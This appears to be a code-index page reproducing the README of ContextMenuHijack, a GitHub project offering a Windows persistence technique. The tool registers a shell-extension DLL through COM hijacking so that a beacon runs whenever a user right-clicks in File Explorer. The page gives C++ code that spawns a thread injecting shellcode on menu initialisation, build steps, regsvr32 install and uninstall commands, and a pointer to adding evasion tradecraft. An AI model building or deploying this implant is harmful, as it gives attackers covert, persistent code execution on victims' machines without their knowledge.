MCPcopy Create free account
hub / github.com/RistBS/ContextMenuHijack

github.com/RistBS/ContextMenuHijack @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
33 symbols 47 edges 7 files 0 documented · 0% updated 3y ago★ 174

Browse by type

Functions 31 Types & classes 2
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

ContextMenuHijack

This original idea that inspired me is from @NinjaParanoid :

Video

ContextMenuHijack is a simple persistence technique that use COM hijacking based on human behavior, when you right click on a file/folder in the File Explorer to open the Context Menu, it executes at the same time the beacon we specified.

IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
    DWORD tid = NULL;
    CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);

    if (NULL == pDataObj) {
    if (pidlFolder != NULL) {
    }
        return S_OK;
    }
    return S_OK;
}

Usage

You just have to load the solution file (.sln) and build it. It's important to know that you need adminstrator privileges to use this persistence technique. Once you have done all of this, you just have to register the DLL file in the registry with regsvr32:

regsvr32 "C:\path\to\ContextMenuHijack.dll"

if you want to uninstall it just use /u flag

regsvr32 /u "C:\path\to\ContextMenuHijack.dll"

persistence1

  • this technique can be easily detected from the thread stack of explorer.exe, it is up to you to use your own evasion tradecraft image

Credits

  • https://github.com/rikka0w0/ExplorerContextMenuTweaker
  • https://learn.microsoft.com/en-us/windows/win32/shell/how-to-implement-the-icontextmenu-interface?redirectedfrom=MSDN
  • https://www.codeproject.com/Articles/441/The-Complete-Idiot-s-Guide-to-Writing-Shell-Extens

Core symbols most depended-on inside this repo

Shape

Method 18
Function 13
Class 2

Languages

C++100%

Modules by API surface

ContextMenuHijack/FileContextMenuExt.cpp13 symbols
ContextMenuHijack/ClassFactory.cpp7 symbols
ContextMenuHijack/Reg.cpp6 symbols
ContextMenuHijack/dllmain.cpp5 symbols
ContextMenuHijack/FileContextMenuExt.h1 symbols
ContextMenuHijack/ClassFactory.h1 symbols

For agents

$ claude mcp add ContextMenuHijack \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page